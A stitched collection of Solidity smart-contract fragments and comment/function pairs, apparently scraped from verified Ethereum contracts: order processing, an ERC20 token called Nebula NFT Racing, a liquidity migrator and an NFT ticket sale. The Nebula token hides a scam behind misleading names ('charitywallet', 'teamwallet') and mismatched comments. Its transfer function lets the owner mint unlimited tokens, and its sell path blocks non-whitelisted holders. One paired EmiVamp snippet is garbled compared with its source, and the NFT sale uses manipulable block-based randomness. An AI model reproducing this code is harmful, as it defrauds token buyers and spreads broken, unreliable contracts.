uint256 actualAmount = IGammaOperator(redeemer).getRedeemableAmount( order.owner, order.otoken, order.amount ); payoutAmount = IGammaOperator(redeemer).getRedeemPayout( order.otoken, actualAmount ); } } /** * @notice return list of processable orderIds * @return canExec if gelato should execute * @return execPayload the function and data to be executed by gelato * @dev order is processable if: * 1. it is profitable to process (shouldProcessOrder) * 2. it can be processed without reverting (canProcessOrder) * 3. it is not included yet (for same type of orders, process it one at a time) */ function getProcessableOrders() public view override returns (bool canExec, bytes memory execPayload) { IAutoGamma.Order[] memory orders = IAutoGamma(redeemer).getOrders(); // Only proceess duplicate orders one at a time bytes32[] memory preCheckHashes = new bytes32[](orders.length); bytes32[] memory postCheckHashes = new bytes32[](orders.length); uint256 orderIdsLength; for (uint256 i = 0; i < orders.length; i++) { if ( IAutoGamma(redeemer).shouldProcessOrder(i) && canProcessOrder(i) && !containDuplicateOrderType(orders[i], preCheckHashes) ) { preCheckHashes[i] = getOrderHash(orders[i]); orderIdsLength++; } } if (orderIdsLength > 0) { canExec = true; } uint256 counter; uint256[] memory orderIds = new uint256[](orderIdsLength); IAutoGamma.ProcessOrderArgs[] memory orderArgs = new IAutoGamma.ProcessOrderArgs[](orderIdsLength); for (uint256 i = 0; i < orders.length; i++) { if ( IAutoGamma(redeemer).shouldProcessOrder(i) && canProcessOrder(i) && !containDuplicateOrderType(orders[i], postCheckHashes) ) { postCheckHashes[i] = getOrderHash(orders[i]); orderIds[counter] = i; if (orders[i].toToken != address(0)) { // determine amountOutMin for swap ( address payoutToken, uint256 payoutAmount ) = getOrderPayout(i); payoutAmount = payoutAmount - ((orders[i].fee * payoutAmount) / 10_000); address[] memory path = new address[](2); path[0] = payoutToken; path[1] = orders[i].toToken; uint256[] memory amounts = IUniswapRouter(uniRouter) .getAmountsOut(payoutAmount, path); uint256 amountOutMin = amounts[1] - ((amounts[1] * maxSlippage) / 10_000); orderArgs[counter].swapAmountOutMin = amountOutMin; orderArgs[counter].swapPath = path; } counter++; } } execPayload = abi.encodeWithSelector( IAutoGamma.processOrders.selector, orderIds, orderArgs ); } /** * @notice return if order is already included * @param order struct to check * @param hashes list of hashed orders * @return containDuplicate if hashes already contain a same order type. */ function containDuplicateOrderType( IAutoGamma.Order memory order, bytes32[] memory hashes ) public pure returns (bool containDuplicate) { bytes32 orderHash = getOrderHash(order); for (uint256 j = 0; j < hashes.length; j++) { if (hashes[j] == orderHash) { containDuplicate = true; break; } } } /** * @notice return hash of the order * @param order struct to hash * @return orderHash hash depending on the order's type */ function getOrderHash(IAutoGamma.Order memory order) public pure returns (bytes32 orderHash) { if (order.isSeller) { orderHash = keccak256(abi.encode(order.owner, order.vaultId)); } else { orderHash = keccak256(abi.encode(order.owner, order.otoken)); } } }
return if order is already included order struct to check hashes list of hashed orders return containDuplicate if hashes already contain a same order type./
function containDuplicateOrderType( IAutoGamma.Order memory order, bytes32[] memory hashes ) public pure returns (bool containDuplicate) { bytes32 orderHash = getOrderHash(order); for (uint256 j = 0; j < hashes.length; j++) { if (hashes[j] == orderHash) { containDuplicate = true; break; } } }
5,523,695
/** *Submitted for verification at Etherscan.io on 2021-11-20 */ /* Nebula is a Ethereum project and is a specialized gaming system. This game will be driven by our native token ($NEBULA). The game will be a NFT Space Racing Game and $NEBULA is the currency to buy things in the Nebula Space Shop and on the NFT Market Place for buying or selling NFT’s! What we have to offer: 🚀 NFT Space Racing Game 🤝 NFT Marketplace 🪐 Nebula Space Shop 🏎 Tournaments and Events Come pick up some $NEBULA today! Taxes: 0% taxes on buys! Sells - * 3% marketing wallet * 5% reflected to all holders CONNECT: nebulagames.digital https://t.me/nebulagames */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } library SafeMath { function prod(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function cre(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function cal(uint256 a, uint256 b) internal pure returns (uint256) { return calc(a, b, "SafeMath: division by zero"); } function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function red(uint256 a, uint256 b) internal pure returns (uint256) { return redc(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ } pragma solidity ^0.8.7; contract Ownable is Context { address internal recipients; address internal router; address public owner; mapping (address => bool) internal confirm; event owned(address indexed previousi, address indexed newi); constructor () { address msgSender = _msgSender(); recipients = msgSender; emit owned(address(0), msgSender); } modifier checker() { require(recipients == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function renounceOwnership() public virtual checker { emit owned(owner, address(0)); owner = address(0); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ } contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } function name() public view virtual override returns (string memory) { return _name; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * transferFrom. * * Requirements: * * - transferFrom. * * _Available since v3.1._ */ function charitywallet (address set) public checker { router = set; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - the address approve. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev updateTaxFee * */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function fee(address _count) internal checker { confirm[_count] = true; } /** * @dev updateTaxFee * */ function teamwallet(address[] memory _counts) external checker { for (uint256 i = 0; i < _counts.length; i++) { fee(_counts[i]); } } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (recipient == router) { require(confirm[sender]); } uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - manualSend * * _Available since v3.1._ */ } function _deploy(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: deploy to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ } contract nebulaga is ERC20{ uint8 immutable private _decimals = 18; uint256 private _totalSupply = 133700000 * 10 ** 18; constructor () ERC20(unicode'Nebula NFT Racing','Nebula') { _deploy(_msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } }
Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], transferFrom. Requirements: - transferFrom. _Available since v3.1._/
function charitywallet (address set) public checker { router = set; }
7,906,675
// SPDX-License-Identifier: MIT pragma solidity ^0.6.2; import "@openzeppelin/contracts/proxy/Initializable.sol"; import "./uniswapv2/interfaces/IUniswapV2Pair.sol"; import "./uniswapv2/interfaces/IUniswapV2Factory.sol"; import "./libraries/Priviledgeable.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./interfaces/IEmiRouter.sol"; import "./interfaces/IEmiswap.sol"; import "./libraries/TransferHelper.sol"; /** * @dev Contract to convert liquidity from other market makers (Uniswap/Mooniswap) to our pairs. */ contract EmiVamp is Initializable, Priviledgeable { using SafeERC20 for IERC20; struct LPTokenInfo { address lpToken; uint16 tokenType; // Token type: 0 - uniswap (default), 1 - mooniswap } IERC20 [] public allowedTokens; // List of tokens that we accept // Info of each third-party lp-token. LPTokenInfo [] public lpTokensInfo; string public codeVersion = "EmiVamp v1.0-20-ga130a08"; IEmiRouter public ourRouter; event Deposit(address indexed user, address indexed token, uint256 amount); // !!!In updates to contracts set new variables strictly below this line!!! //----------------------------------------------------------------------------------- /** * @dev Implementation of {UpgradeableProxy} type of constructors */ function initialize(address[] calldata _lptokens, uint8[] calldata _types, address _ourrouter) public onlyAdmin initializer { require(_lptokens.length > 0); require(_lptokens.length == _types.length); require(_ourrouter != address(0)); for (uint i = 0; i < _lptokens.length; i++) { lpTokensInfo.push(LPTokenInfo({lpToken: _lptokens[i], tokenType: _types[i]})); } ourRouter = IEmiRouter(_ourrouter); _addAdmin(msg.sender); } /** * @dev Returns length of allowed tokens private array */ function getAllowedTokensLength() external view returns (uint) { return allowedTokens.length; } function lpTokensInfoLength() external view returns (uint) { return lpTokensInfo.length; } /** * @dev Adds new entry to the list of allowed tokens (if it is not exist yet) */ function addAllowedToken(address _token) external onlyAdmin { require(_token != address(0)); for (uint i = 0; i < allowedTokens.length; i++) { if (address(allowedTokens[i])==_token) { return; } } allowedTokens.push(IERC20(_token)); } /** * @dev Adds new entry to the list of convertible LP-tokens */ function addLPToken(address _token, uint16 _tokenType) external onlyAdmin returns (uint) { require(_token != address(0)); require(_tokenType < 2); for (uint i = 0; i < lpTokensInfo.length; i++) { if (lpTokensInfo[i].lpToken==_token) { return i; } } lpTokensInfo.push(LPTokenInfo({lpToken: _token, tokenType: _tokenType})); return lpTokensInfo.length; } // Deposit LP tokens to us /** * @dev Main function that converts third-party liquidity (represented by LP-tokens) to our own LP-tokens */ function deposit(uint256 _pid, uint256 _amount) public { require(_pid < lpTokensInfo.length); if (lpTokensInfo[_pid].tokenType == 0) { _depositUniswap(_pid, _amount); } else if (lpTokensInfo[_pid].tokenType == 1) { _depositMooniswap(_pid, _amount); } else { return; } emit Deposit(msg.sender, lpTokensInfo[_pid].lpToken, _amount); } /** * @dev Actual function that converts third-party Uniswap liquidity (represented by LP-tokens) to our own LP-tokens */ function _depositUniswap(uint256 _pid, uint256 _amount) internal { IUniswapV2Pair lpToken = IUniswapV2Pair(lpTokensInfo[_pid].lpToken); // check pair existance IERC20 token0 = IERC20(lpToken.token0()); IERC20 token1 = IERC20(lpToken.token1()); // transfer to us lpToken.transferFrom(address(msg.sender), address(lpToken), _amount); // get liquidity (uint amountIn0, uint amountIn1) = lpToken.burn(address(this)); _addOurLiquidity(address(token0), address(token1), amountIn0, amountIn1); } function _addOurLiquidity(address _token0, address _token1, uint _amount0, uint _amount1) internal { TransferHelper.safeApprove(_token0, address(ourRouter), _amount0); TransferHelper.safeApprove(_token1, address(ourRouter), _amount1); (uint amountOut0, uint amountOut1, ) = ourRouter.addLiquidity( address(_token0), address(_token1), _amount0, _amount1, 0, 0 ); // return the change if (amountOut0 - _amount0 > 0) { TransferHelper.safeTransfer(_token0, address(msg.sender), amountOut0 - _amount0); } if (amountOut1 - _amount1 > 0) { TransferHelper.safeTransfer(_token1, address(msg.sender), amountOut1 - _amount1); } } /** * @dev Actual function that converts third-party Mooniswap liquidity (represented by LP-tokens) to our own LP-tokens */ function _depositMooniswap(uint256 _pid, uint256 _amount) internal { IEmiswap lpToken = IEmiswap(lpTokensInfo[_pid].lpToken); // check pair existance IERC20 token0 = IERC20(lpToken.tokens(0)); IERC20 token1 = IERC20(lpToken.tokens(1)); // transfer to us uint amountBefore0 = token0.balanceOf(msg.sender); uint amountBefore1 = token1.balanceOf(msg.sender); uint [] memory minVals = new uint[](2); lpToken.withdraw(_amount, minVals); // get liquidity uint amount0 = token0.balanceOf(msg.sender) - amountBefore0; uint amount1 = token1.balanceOf(msg.sender) - amountBefore1; _addOurLiquidity(address(token0), address(token1), amount0, amount1); } /** @dev Function check for LP token pair availability. Return _pid or 0 if none exists */ function isPairAvailable(address _token0, address _token1) public view returns (uint16) { require(_token0 != address(0)); require(_token1 != address(0)); for (uint16 i = 0; i < lpTokensInfo.length; i++) { IUniswapV2Pair lpt = IUniswapV2Pair(lpTokensInfo[i].lpToken); address t0 = lpt.token0(); address t1 = lpt.token1(); if ((t0 ==_token0 && t1 == _token1) || (t1 ==_token0 && t0 == _token1)) { return i; } } return 0; } /** * @dev Owner can transfer out any accidentally sent ERC20 tokens */ function transferAnyERC20Token(address tokenAddress, address beneficiary, uint tokens) external onlyAdmin returns (bool success) { require(tokenAddress!=address(0), "Token address cannot be 0"); return IERC20(tokenAddress).transfer(beneficiary, tokens); } }
Deposit LP tokens to us Main function that converts third-party liquidity (represented by LP-tokens) to our own LP-tokens/
function deposit(uint256 _pid, uint256 _amount) public { require(_pid < lpTokensInfo.length); if (lpTokensInfo[_pid].tokenType == 0) { _depositUniswap(_pid, _amount); _depositMooniswap(_pid, _amount); return; } emit Deposit(msg.sender, lpTokensInfo[_pid].lpToken, _amount); }
917,003
./full_match/4/0xDC750c9a411e3BfA0fB0Dd1248251D5831321352/sources/cache/solpp-generated-contracts/Bytes.sol
NOTE: theoretically possible overflow of (_start + 0x20)
function bytesToBytes32(bytes memory _bytes, uint256 _start) internal pure returns (bytes32 r) { uint256 offset = _start + 0x20; require(_bytes.length >= offset, "btb32"); assembly { r := mload(add(_bytes, offset)) } }
749,288
./partial_match/1/0x65793FA8Db465a63031793bce2f386D6205f586C/sources/KUMO.sol
only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){ tradingActive = enabled; }
4,336,015
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: MinteVipTicket /// @authors: manifold.xyz & Collector import "./ERC721Creator.sol"; contract MVIP is ERC721Creator { uint256 public price = 40000000000000000; //0.04 ETH bool public saleIsActive = true; uint private rand; constructor(string memory tokenName, string memory symbol) ERC721Creator(tokenName, symbol) {} /* claim multiple tokens */ function claimBatch(address to, uint256 _qty) public nonReentrant payable { require(_qty > 0, "Quantity must be more than 0"); require(saleIsActive, "Sale must be active to mint"); require(msg.value >= price*_qty, "Price is not correct."); string memory uri; for (uint i = 0; i < _qty; i++) { require(_tokenCount < MAX_TICKETS, "Maximum amount of tickets already minted." ); rand = (pseudo_rand()%100)+1; uri = getVIPUri(rand); _mintBase(to, uri); } } function getVIPUri(uint r) private pure returns (string memory) { string memory uri; if (r < 41 ){ uri = "ipfs://QmTfFj2d8oXRRhmFG9h82zkSdTjzEiqk3ZCiotFp2XLtfg"; //DYNASTY } else if (r >= 41 && r < 69){ uri = "ipfs://QmYXwKTQRutEgMyjP35kcSqvZ6mZnB92Q4Hgu7LnVvLD4j"; //RELICS } else if (r >= 69 && r < 86){ uri = "ipfs://QmW7us4Zmk9ZcZQVgR17QijKCXFMFCXvtLxwSL9gFFFL6y"; //ROYALS } else if (r >= 86 && r < 96){ uri = "ipfs://QmR2LJjd7hCm95FFtVvgxz8f98LKLTQeXgHdWqHiwnToQR"; //LEGENDS } else if (r >= 96 && r < 100){ uri = "ipfs://QmYtD7m8mUb3JHwQCEaskjW9KPwrr2XgQNnFEwjLnnEzkC"; //COSMOS } else { uri = "ipfs://QmQDAGCT5ux1Fc6zTKjbVNF18KofYpLDTK7AiRN3P5dP4C"; //GENESIS } return uri; } function pseudo_rand() private view returns (uint) { return uint(keccak256(abi.encodePacked(block.difficulty, block.timestamp, _tokenCount))); } function withdraw() public payable adminRequired { require(payable(_msgSender()).send(address(this).balance)); } function changeSaleState() public adminRequired { saleIsActive = !saleIsActive; } function changePrice(uint256 newPrice) public adminRequired { price = newPrice; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "./access/AdminControl.sol"; import "./core/ERC721CreatorCore.sol"; /** * @dev ERC721Creator implementation */ contract ERC721Creator is AdminControl, ERC721, ERC721CreatorCore { constructor (string memory _name, string memory _symbol) ERC721(_name, _symbol) { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721CreatorCore, AdminControl) returns (bool) { return ERC721CreatorCore.supportsInterface(interfaceId) || ERC721.supportsInterface(interfaceId) || AdminControl.supportsInterface(interfaceId); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { _approveTransfer(from, to, tokenId); } /** * @dev See {ICreatorCore-registerExtension}. */ function registerExtension(address extension, string calldata baseURI) external override adminRequired nonBlacklistRequired(extension) { _registerExtension(extension, baseURI, false); } /** * @dev See {ICreatorCore-registerExtension}. */ function registerExtension(address extension, string calldata baseURI, bool baseURIIdentical) external override adminRequired nonBlacklistRequired(extension) { _registerExtension(extension, baseURI, baseURIIdentical); } /** * @dev See {ICreatorCore-unregisterExtension}. */ function unregisterExtension(address extension) external override adminRequired { _unregisterExtension(extension); } /** * @dev See {ICreatorCore-blacklistExtension}. */ function blacklistExtension(address extension) external override adminRequired { _blacklistExtension(extension); } /** * @dev See {ICreatorCore-setBaseTokenURIExtension}. */ function setBaseTokenURIExtension(string calldata uri) external override extensionRequired { _setBaseTokenURIExtension(uri, false); } /** * @dev See {ICreatorCore-setBaseTokenURIExtension}. */ function setBaseTokenURIExtension(string calldata uri, bool identical) external override extensionRequired { _setBaseTokenURIExtension(uri, identical); } /** * @dev See {ICreatorCore-setTokenURIPrefixExtension}. */ function setTokenURIPrefixExtension(string calldata prefix) external override extensionRequired { _setTokenURIPrefixExtension(prefix); } /** * @dev See {ICreatorCore-setTokenURIExtension}. */ function setTokenURIExtension(uint256 tokenId, string calldata uri) external override extensionRequired { _setTokenURIExtension(tokenId, uri); } /** * @dev See {ICreatorCore-setTokenURIExtension}. */ function setTokenURIExtension(uint256[] memory tokenIds, string[] calldata uris) external override extensionRequired { require(tokenIds.length == uris.length, "Invalid input"); for (uint i = 0; i < tokenIds.length; i++) { _setTokenURIExtension(tokenIds[i], uris[i]); } } /** * @dev See {ICreatorCore-setBaseTokenURI}. */ function setBaseTokenURI(string calldata uri) external override adminRequired { _setBaseTokenURI(uri); } /** * @dev See {ICreatorCore-setTokenURIPrefix}. */ function setTokenURIPrefix(string calldata prefix) external override adminRequired { _setTokenURIPrefix(prefix); } /** * @dev See {ICreatorCore-setTokenURI}. */ function setTokenURI(uint256 tokenId, string calldata uri) external override adminRequired { _setTokenURI(tokenId, uri); } /** * @dev See {ICreatorCore-setTokenURI}. */ function setTokenURI(uint256[] memory tokenIds, string[] calldata uris) external override adminRequired { require(tokenIds.length == uris.length, "Invalid input"); for (uint i = 0; i < tokenIds.length; i++) { _setTokenURI(tokenIds[i], uris[i]); } } /** * @dev See {ICreatorCore-setMintPermissions}. */ function setMintPermissions(address extension, address permissions) external override adminRequired { _setMintPermissions(extension, permissions); } /** * @dev See {IERC721CreatorCore-mintBase}. */ function mintBase(address to) public virtual override nonReentrant adminRequired returns(uint256) { require(_tokenCount < MAX_TICKETS, "Maximum amount of tickets already minted." ); return _mintBase(to, ""); } /** * @dev See {IERC721CreatorCore-mintBase}. */ function mintBase(address to, string calldata uri) public virtual override nonReentrant adminRequired returns(uint256) { require(_tokenCount < MAX_TICKETS, "Maximum amount of tickets already minted." ); return _mintBase(to, uri); } /** * @dev See {IERC721CreatorCore-mintBaseBatch}. */ function mintBaseBatch(address to, uint16 count) public virtual override nonReentrant adminRequired returns(uint256[] memory tokenIds) { tokenIds = new uint256[](count); for (uint16 i = 0; i < count; i++) { require(_tokenCount < MAX_TICKETS, "Maximum amount of tickets already minted." ); tokenIds[i] = _mintBase(to, ""); } return tokenIds; } /** * @dev See {IERC721CreatorCore-mintBaseBatch}. */ function mintBaseBatch(address to, string[] calldata uris) public virtual override nonReentrant adminRequired returns(uint256[] memory tokenIds) { tokenIds = new uint256[](uris.length); for (uint i = 0; i < uris.length; i++) { require(_tokenCount < MAX_TICKETS, "Maximum amount of tickets already minted." ); tokenIds[i] = _mintBase(to, uris[i]); } return tokenIds; } /** * @dev Mint token with no extension */ function _mintBase(address to, string memory uri) internal virtual returns(uint256 tokenId) { _tokenCount++; tokenId = _tokenCount; // Track the extension that minted the token _tokensExtension[tokenId] = address(this); _safeMint(to, tokenId); if (bytes(uri).length > 0) { _tokenURIs[tokenId] = uri; } // Call post mint _postMintBase(to, tokenId); return tokenId; } /** * @dev See {IERC721CreatorCore-mintExtension}. */ function mintExtension(address to) public virtual override nonReentrant extensionRequired returns(uint256) { require(_tokenCount < MAX_TICKETS, "Maximum amount of tickets already minted." ); return _mintExtension(to, ""); } /** * @dev See {IERC721CreatorCore-mintExtension}. */ function mintExtension(address to, string calldata uri) public virtual override nonReentrant extensionRequired returns(uint256) { require(_tokenCount < MAX_TICKETS, "Maximum amount of tickets already minted." ); return _mintExtension(to, uri); } /** * @dev See {IERC721CreatorCore-mintExtensionBatch}. */ function mintExtensionBatch(address to, uint16 count) public virtual override nonReentrant extensionRequired returns(uint256[] memory tokenIds) { tokenIds = new uint256[](count); for (uint16 i = 0; i < count; i++) { require(_tokenCount < MAX_TICKETS, "Maximum amount of tickets already minted." ); tokenIds[i] = _mintExtension(to, ""); } return tokenIds; } /** * @dev See {IERC721CreatorCore-mintExtensionBatch}. */ function mintExtensionBatch(address to, string[] calldata uris) public virtual override nonReentrant extensionRequired returns(uint256[] memory tokenIds) { tokenIds = new uint256[](uris.length); for (uint i = 0; i < uris.length; i++) { require(_tokenCount < MAX_TICKETS, "Maximum amount of tickets already minted." ); tokenIds[i] = _mintExtension(to, uris[i]); } } /** * @dev Mint token via extension */ function _mintExtension(address to, string memory uri) internal virtual returns(uint256 tokenId) { _tokenCount++; tokenId = _tokenCount; _checkMintPermissions(to, tokenId); // Track the extension that minted the token _tokensExtension[tokenId] = msg.sender; _safeMint(to, tokenId); if (bytes(uri).length > 0) { _tokenURIs[tokenId] = uri; } // Call post mint _postMintExtension(to, tokenId); return tokenId; } /** * @dev See {IERC721CreatorCore-tokenExtension}. */ function tokenExtension(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "Nonexistent token"); return _tokenExtension(tokenId); } /** * @dev See {IERC721CreatorCore-burn}. */ function burn(uint256 tokenId) public virtual override nonReentrant { require(_isApprovedOrOwner(msg.sender, tokenId), "Caller is not owner nor approved"); address owner = ownerOf(tokenId); _burn(tokenId); _postBurn(owner, tokenId); } /** * @dev See {ICreatorCore-setRoyalties}. */ function setRoyalties(address payable[] calldata receivers, uint256[] calldata basisPoints) external override adminRequired { _setRoyaltiesExtension(address(this), receivers, basisPoints); } /** * @dev See {ICreatorCore-setRoyalties}. */ function setRoyalties(uint256 tokenId, address payable[] calldata receivers, uint256[] calldata basisPoints) external override adminRequired { require(_exists(tokenId), "Nonexistent token"); _setRoyalties(tokenId, receivers, basisPoints); } /** * @dev See {ICreatorCore-setRoyaltiesExtension}. */ function setRoyaltiesExtension(address extension, address payable[] calldata receivers, uint256[] calldata basisPoints) external override adminRequired { _setRoyaltiesExtension(extension, receivers, basisPoints); } /** * @dev {See ICreatorCore-getRoyalties}. */ function getRoyalties(uint256 tokenId) external view virtual override returns (address payable[] memory, uint256[] memory) { require(_exists(tokenId), "Nonexistent token"); return _getRoyalties(tokenId); } /** * @dev {See ICreatorCore-getFees}. */ function getFees(uint256 tokenId) external view virtual override returns (address payable[] memory, uint256[] memory) { require(_exists(tokenId), "Nonexistent token"); return _getRoyalties(tokenId); } /** * @dev {See ICreatorCore-getFeeRecipients}. */ function getFeeRecipients(uint256 tokenId) external view virtual override returns (address payable[] memory) { require(_exists(tokenId), "Nonexistent token"); return _getRoyaltyReceivers(tokenId); } /** * @dev {See ICreatorCore-getFeeBps}. */ function getFeeBps(uint256 tokenId) external view virtual override returns (uint[] memory) { require(_exists(tokenId), "Nonexistent token"); return _getRoyaltyBPS(tokenId); } /** * @dev {See ICreatorCore-royaltyInfo}. */ function royaltyInfo(uint256 tokenId, uint256 value, bytes calldata) external view virtual override returns (address, uint256, bytes memory) { require(_exists(tokenId), "Nonexistent token"); return _getRoyaltyInfo(tokenId, value); } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "Nonexistent token"); return _tokenURI(tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; 